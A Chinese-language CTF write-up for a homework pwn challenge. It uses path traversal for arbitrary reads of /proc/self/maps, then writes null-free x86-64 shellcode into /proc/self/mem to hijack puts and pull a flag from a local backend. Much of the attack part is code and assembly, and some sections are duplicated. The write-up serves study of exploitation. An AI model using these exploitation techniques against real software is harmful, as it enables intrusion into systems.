Simple PWN 0x32(2023 HW - Notepad-Stage 2)
Description & Hint
Try to get /flag_backend.
Hint1: The only intended vulnerability in the frontend (notepad) is the path traversal. Hint2: Try to write the shellcode into process memory by the path traversal vulnerability.
Source code
呈上題
Recon
:::success Special Thanks @cs-otaku For the most of the Inspiration of the WP :::
- Recap
在上一題,我們已經知道了他的前端漏洞為path traversal,換言之是不是可以做到任意讀取的功能,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14def read_any_file(file_name): payload = b'../../../../../../' + b'/' * (89 - len(file_name)) + file_name offset = 0 res = '' while(True): ret = dealing_cmd(r, 5, payload, offset=str(offset).encode()) # print(ret, len(ret)) if ret != 'Read note failed.' and ret != "Couldn't open the file.": res += ret offset += 128 else: log.success(res) break return res
- ==漏洞發想==
透過@cs-otaku的WP,了解到如果可以做到任意讀取有甚麼厲害的地方呢?那我們就可以想辦法用該題提供的write_note的功能以及lseek的功能,寫入==/proc/self/mem==這個檔案,這是甚麼東西呢?可以看一下虛擬內存探究 – 第一篇:C strings & /proc,要做的事情和我們的幾乎一樣,簡單說就是
/proc/[pid]/mem This file can be used to access the pages of a process’s memory through open(2), read(2), and lseek(2). Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).
/proc/[pid]/maps A file containing the currently mapped memory regions and their access permissions. See mmap(2) for some further information about memory mappings. Permission to access this file is governed by a ptrace access mode PTRACE_MODE_READ_FSCREDS check; see ptrace(2). The format of the file is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20address perms offset dev inode pathname 00400000-00452000 r-xp 00000000 08:02 173521 /usr/bin/dbus-daemon 00651000-00652000 r--p 00051000 08:02 173521 /usr/bin/dbus-daemon 00652000-00655000 rw-p 00052000 08:02 173521 /usr/bin/dbus-daemon 00e03000-00e24000 rw-p 00000000 00:00 0 [heap] 00e24000-011f7000 rw-p 00000000 00:00 0 [heap] ... 35b1800000-35b1820000 r-xp 00000000 08:02 135522 /usr/lib64/ld-2.15.so 35b1a1f000-35b1a20000 r--p 0001f000 08:02 135522 /usr/lib64/ld-2.15.so 35b1a20000-35b1a21000 rw-p 00020000 08:02 135522 /usr/lib64/ld-2.15.so 35b1a21000-35b1a22000 rw-p 00000000 00:00 0 35b1c00000-35b1dac000 r-xp 00000000 08:02 135870 /usr/lib64/libc-2.15.so 35b1dac000-35b1fac000 ---p 001ac000 08:02 135870 /usr/lib64/libc-2.15.so 35b1fac000-35b1fb0000 r--p 001ac000 08:02 135870 /usr/lib64/libc-2.15.so 35b1fb0000-35b1fb2000 rw-p 001b0000 08:02 135870 /usr/lib64/libc-2.15.so ... f2c6ff8c000-7f2c7078c000 rw-p 00000000 00:00 0 [stack:986] ... 7fffb2c0d000-7fffb2c2e000 rw-p 00000000 00:00 0 [stack] 7fffb2d48000-7fffb2d49000 r-xp 00000000 00:00 0 [vdso] 從以上訊息我們知道,/proc/[pid]/mem就是實際執行該隻process的memory,而/proc/[pid]/maps就是該隻process的memory mapping,所以關於怎麼利用可以看一下[csdn的這篇文章](https://blog.csdn.net/dog250/article/details/108618568),基本上要做的事情和我們差不多,目標都是去修改/proc/[pid]/mem中的value,不過中間有很多東西需要考慮:
- 要寫甚麼shellcode
- 要寫去哪裡
- ==漏洞發想==
透過@cs-otaku的WP,了解到如果可以做到任意讀取有甚麼厲害的地方呢?那我們就可以想辦法用該題提供的write_note的功能以及lseek的功能,寫入==/proc/self/mem==這個檔案,這是甚麼東西呢?可以看一下虛擬內存探究 – 第一篇:C strings & /proc,要做的事情和我們的幾乎一樣,簡單說就是
- 先看要寫去哪裡
按照前面所說應該是要寫/proc/[pid]/mem,但因為前面有提到他只能被open / read / lseek給access,所以目標應該是找出lseek的offset,並且把噁爛shellcode放進去;另外一個問題是我們不知道要寫到哪裡,所以我們可以利用前面的arbitrary read去看process的mapping為何,如下
1
2
3
4
5
6# Read /proc/self/maps to leak Libc Base maps_layout = read_any_file(b'/proc/self/maps').split('\n') libc_base = int(maps_layout[7][:12], 16) puts_addr = libc_base + libc.symbols['puts'] log.success(f"Libc Base address: {hex(libc_base)}") log.success(f'Puts Address: {hex(puts_addr)}')
這樣的話,我們就知道他位於整個memory layout,以及我們想要置換的puts symbols的位置
- 要寫甚麼
前面有提到我們需要寫shellcode進去,以替換puts的行為,所以我們需要寫些甚麼server才能噴flag給我們呢?如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21# Socket Config int fd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in info; info.sin_family = PF_INET; info.sin_addr.s_addr = inet_addr("127.0.0.1"); info.sin_port = htons(8765); # Connect to Backend connect(fd, (struct sockaddr *)&info, sizeof(info)) # Write 0x8787 to fd struct Command cmd; cmd.cmd = 0x8787; write(fd, &cmd, sizeof(cmd)); # Read the result from fd struct Response res; read(fd, $rsp, sizeof(res); # Write the result from fd to stdout write(1, $rsp, 0x40);
簡單來說,前面需要我們設定socket的config,然後用這個config連線到後端,並且把command置換成0x8787,傳送到後端給的fd,這樣後段就會直接噴flag給我們(準確來說是那個fd),所以我們要承接fd接到的flag並且送到stdout,大概是這樣,但這一連串的操作其實是助教一開始在課堂中有提示,並且看了@cs-otaku的WP也有提到該步驟才知道,所以如果都不知道以上操作的話要怎麼辦呢?我們可以想辦法把backend的binary讀出來,這樣的話就只能自行把backend的binary讀出來再去分析裡面的奧義
我是直接用godbolt搭配x86-64 disassembly :::spoiler godbolt Result
::: 不過正如@cs-otaku說的
寫入content是用write去寫的。所以shellcode裡面不可以出現\x00這種東西
所以我也是邊參考disassembly的結果慢慢看中間有沒有\x00的byte,如果有就要想其他的payload替換掉
- Socket Config
像是這邊我不知道
AF_INET
所代表的byte是多少就可以直接看godbolt的結果,另外syscall要用哪一個可以參考linux x86-64 syscall,並且根據calling convention把shellcode擺好,切記看完之後要看一下轉換成shellcode看有沒有\x00的byte,可以用pwntools的asm function或是直接用x86-64 disassembly都可以達到一樣的效果1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# int fd = socket(AF_INET, SOCK_STREAM, 0); socket = """ xor rax, rax mov al, 0x29 xor rdi, rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 xor rdx, rdx syscall mov r8, rax """
- Connect
這邊主要需要觀察protocol怎麼包,首先我們知道第一個參數是存$rdi,也就是存上一個syscall的return value存起來的$r8,至於$rsi的info address,其內容應該怎麼包含甚麼呢?我們先看一下linux x86-64 syscall中的說明
他所需的是
struct sockaddr_in info;
,而實際去看看sockaddr_in會發現他的結構如下(csdn post):1
2
3
4
5
6struct sockaddr_in { short sin_family; //address family u_short sin_port; //16 bit TCP/UDP port number struct in_addr sin_addr; //32 bit IP address char sin_zero[8]; //not use, for align };
就會對應到底下註解的地方,包含IP / Post / Internet Family之類的,所以我們就可以按照這個structure建構出來,short是2 bytes,而根據前面的byte code會發現
AF_INET
是\x0002,也就是兩個bytes,第二個是port也是兩個bytes,8765轉成hex就是0x223d;最後一個是IP address,總共是4 bytes的in_addr structure,如果想詳細了解in_addr的結構可以看MSDN,但具體來說就是把127.0.0.1
→7f000001
,所以全部貼在一起並且轉成little endian的話就會變成==0x100007f3d220002==,但有一個非常大的問題,如果直接把該值push進到stack並取$rsp放到$rsi的話,整個流程會有太多的\x00,因此@cs-otaku提供了一個非常有創意的想法,就直接用扣的,反正只要最後放到stack的值是對的就好了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# struct sockaddr_in info; # info.sin_family = AF_INET; # info.sin_addr.s_addr = inet_addr("127.0.0.1"); # info.sin_port = htons(8765); # connect(fd, (struct sockaddr *)&info, sizeof(info)); connect = """ xor rax, rax mov al, 0x2a mov rdi, r8 mov rsi, 0xffffffffffffffff mov r9, 0xfeffff80c2ddfffd sub rsi, r9 push rsi mov rsi, rsp xor rdx, rdx mov dl, 0x10 syscall """
- Write
這一段主要是置換原本不應該出現的command,因為按照原本程式的流程,只會有CMD_Register→0x1 / CMD_Login→0x2 / CMD_GetFolder→0x11 / CMD_NewNote→0x12等這四種,分別會在對應的操作下傳到backend後讓他做對應的操作,現在我們要把cmd.cmd改成0x8787,之後用write把這個command寫到對應的fd中,如同其他command也那樣操作一樣
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20# struct Command cmd; # cmd.cmd = 0x8787; // #define CMD_Flag 0x8787 # write(fd, &cmd, sizeof(cmd)); write = """ xor r9, r9 mov r9w, 0x8787 push r9 xor rax, rax mov al, 0x1 mov rdi, r8 mov rsi, rsp xor rdx, rdx mov dl, 0xa4 syscall """
- Read
這一段原本的command應該是
read(fd, &res, sizeof(res))
,我們會去接res傳回來的結果,所以後面的size應該直接看res他的結構有多大而定,總共是一個uint32_t的code + 256個char,所以是260 bytes,也就是0x104,並且我們把res的地址傳給$rsp1
2
3
4
5
6
7
8
9
10
11
12
13# read(fd, $rsp, sizeof(res)); read = """ xor rax, rax mov rdi, r8 mov rsi, rsp xor rdx, rdx mov dx, 0x104 syscall """
- Write 2 Console
現在我們已經取得backend傳回來的response,但前端還沒辦法顯示,所以我們需要寫到stdout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# write(1, $rsp, 0x40); write2console = """ xor rax, rax mov al, 0x1 xor rdi, rdi mov dil, 0x1 mov rsi, rsp xor rdx, rdx mov dl, 0x40 syscall """
- Socket Config
像是這邊我不知道
- 接著我們就只要透過command 4的write note功能把構建好的shellcode,寫到/proc/self/mem對應的位置就好,也就是置換掉puts原本的操作,讓他再次call到puts的時候就會執行我們的shellcode
Exploit - Arbitrary Read → Arbitrary Write → Shellcode
:::spoiler
1 |
|
:::
1 |
|
Flag: flag{why_d0_y0u_KnoM_tH1s_c0WW@nd!?}